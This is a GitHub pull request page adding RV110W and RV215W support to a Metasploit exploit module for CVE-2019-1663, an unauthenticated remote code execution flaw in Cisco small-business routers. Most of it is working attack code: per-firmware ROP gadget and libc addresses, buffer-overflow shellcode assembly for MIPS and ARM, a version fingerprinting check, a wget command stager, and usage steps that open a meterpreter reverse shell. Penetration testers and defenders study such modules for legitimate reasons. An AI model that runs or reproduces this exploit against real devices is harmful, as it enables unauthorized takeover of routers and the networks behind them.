Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2019-1663 - Add support for RV110W and RV215W models. #12133

Merged
merged 8 commits into from
Aug 30, 2019
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Cisco RV110W/RV130W/RV215W Routers Management Interface Remote Command Execution

A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall, Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

The vulnerability is due to improper validation of user-supplied data in the web-based management interface. An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating system of the affected device as a high-privilege user.

## Vulnerable Device

* RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
* RV130 Multifunction VPN Router versions prior to 1.0.3.45 are affected.
* RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
* RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.

## Verification Steps

1. Start msfconsole
2. ```use exploit/linux/http/cve_2019_1663_cisco_rmi_rce```
3. ```set rhost [IP]```
4. ```set payload linux/armle/meterpreter_reverse_tcp```
5. ```set lhost [IP]```
6. ```exploit```
7. You should get a session

274 changes: 256 additions & 18 deletions modules/exploits/linux/http/cisco_rv130_rmi_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -18,21 +18,27 @@ class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Module::Deprecated

deprecated(Date.new(2019, 8, 1), 'exploit/linux/http/cve_2019_1663_cisco_rmi_rce')

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution',
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
'Description' => %q{
A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.

The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.

A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
system of the affected device as a high-privilege user.

RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.

Note: successful exploitation may not result in a session, and as such,
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
Expand All @@ -46,7 +52,7 @@ def initialize(info = {})
],
'License' => MSF_LICENSE,
'Platform' => %w[linux],
'Arch' => [ARCH_ARMLE],
'Arch' => [ARCH_ARMLE, ARCH_MIPSLE],
'SessionTypes' => %w[meterpreter],
'CmdStagerFlavor' => %w{ wget },
'Privileged' => true, # BusyBox
Expand All @@ -62,10 +68,71 @@ def initialize(info = {})
'SSL' => true,
'RPORT' => 443,
'CMDSTAGER::FLAVOR' => 'wget',
# TODO: set default payload based on target ?
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
},
'Targets' =>
[
[ 'Cisco RV110W 1.1.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af06000,
'libcrypto_base_addr' => 0x2ac01000,
'system_offset' => 0x00050d40,
'got_offset' => 0x0009d560,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV110W 1.2.0.9',
{
'offset' => 69,
'libc_base_addr' => 0x2af08000,
'libcrypto_base_addr' => 0x2ac03000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV110W 1.2.0.10',
{
'offset' => 69,
'libc_base_addr' => 0x2af09000,
'libcrypto_base_addr' => 0x2ac04000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV110W 1.2.1.4',
{
'offset' => 69,
'libc_base_addr' => 0x2af54000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV110W 1.2.1.7',
{
'offset' => 69,
'libc_base_addr' => 0x2af98000,
'libcrypto_base_addr' => 0x2ac4f000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV130/RV130W < 1.0.3.45',
{
'offset' => 446,
Expand All @@ -74,6 +141,78 @@ def initialize(info = {})
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
'Arch' => ARCH_ARMLE,
},
],
[ 'Cisco RV215W 1.1.0.5',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV215W 1.1.0.6',
{
'offset' => 69,
'libc_base_addr' => 0x2af59000,
'libcrypto_base_addr' => 0x2ac54000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV215W 1.2.0.14',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a001,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV215W 1.2.0.15',
{
'offset' => 69,
'libc_base_addr' => 0x2af5f000,
'libcrypto_base_addr' => 0x2ac5a000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x00098db0,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV215W 1.3.0.7',
{
'offset' => 77,
'libc_base_addr' => 0x2afeb000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
[ 'Cisco RV215W 1.3.0.8',
{
'offset' => 77,
'libc_base_addr' => 0x2afee000,
'libcrypto_base_addr' => 0x2aca5000,
'system_offset' => 0x0004c7e0,
'got_offset' => 0x000a0530,
# gadget 1 is in /usr/lib/libcrypto.so
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
'Arch' => ARCH_MIPSLE,
}
],
],
Expand All @@ -85,19 +224,39 @@ def initialize(info = {})
))
end

def p(offset)
[(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
def p(lib, offset)
[(lib + offset).to_s(16)].pack('H*').reverse
end

def prepare_shellcode(cmd)
#All these gadgets are from /lib/libc.so.0
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['gadget1']) +
p(target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['gadget2']) + # pc
cmd
shellcode
case target
# RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
# RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
shellcode = rand_text_alpha(target['offset']) + # filler
rand_text_alpha(4) + # $s0
rand_text_alpha(4) + # $s1
rand_text_alpha(4) + # $s2
rand_text_alpha(4) + # $s3
p(target['libc_base_addr'], target['system_offset']) + # $s4
rand_text_alpha(4) + # $s5
rand_text_alpha(4) + # $s6
rand_text_alpha(4) + # $s7
rand_text_alpha(4) + # $s8
p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
p(target['libc_base_addr'], target['got_offset']) +
rand_text_alpha(28) +
cmd
shellcode
when targets[5] # RV130/RV130W
shellcode = rand_text_alpha(target['offset']) + # filler
p(target['libc_base_addr'], target['gadget1']) +
p(target['libc_base_addr'], target['system_offset']) + # r2
rand_text_alpha(4) + # r6
p(target['libc_base_addr'], target['gadget2']) + # pc
cmd
shellcode
end
end

def send_request(buffer)
Expand All @@ -122,6 +281,85 @@ def send_request(buffer)
end
end

def check

# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)

fingerprints = {
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
"version" => "Cisco RV110W 1.1.0.9",
"status" =>Exploit::CheckCode::Vulnerable
},
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
"version" => "Cisco RV110W 1.2.0.9",
"status" => Exploit::CheckCode::Vulnerable
},
"134ee643ec877641030211193a43cc5e93c96a06" => {
"version" => "Cisco RV110W 1.2.0.10",
"status" => Exploit::CheckCode::Vulnerable
},
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
"version" => "Cisco RV130/RV130W 1.0.0.21",
"status" => Exploit::CheckCode::Vulnerable
},
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
"version" => "Cisco RV130/RV130W 1.0.1.3",
"status" => Exploit::CheckCode::Vulnerable
},
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
"version" => "Cisco RV130/RV130W 1.0.2.7",
"status" => Exploit::CheckCode::Vulnerable
},
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
"status" => Exploit::CheckCode::Vulnerable
},
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
},
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
"version" => "Cisco RV215W 1.1.0.5",
"status" => Exploit::CheckCode::Vulnerable
},
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
"version" => "Cisco RV215W 1.1.0.6",
"status" => Exploit::CheckCode::Vulnerable
},
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
"status" => Exploit::CheckCode::Vulnerable
},
"050d47ea944eaeadaec08945741e8e380f796741" => {
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
"status" => Exploit::CheckCode::Unknown
}
}

uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
})
if res and res.code == 200
wvu marked this conversation as resolved.
Show resolved Hide resolved
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
if fingerprints.key?(fingerprint)
print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}")
return fingerprints[fingerprint]["status"]
else
print_status("Couldn't reliably fingerprint the target.")
end
end
Exploit::CheckCode::Unknown
end

def exploit
print_status('Sending request')
execute_cmdstager
Expand Down
Loading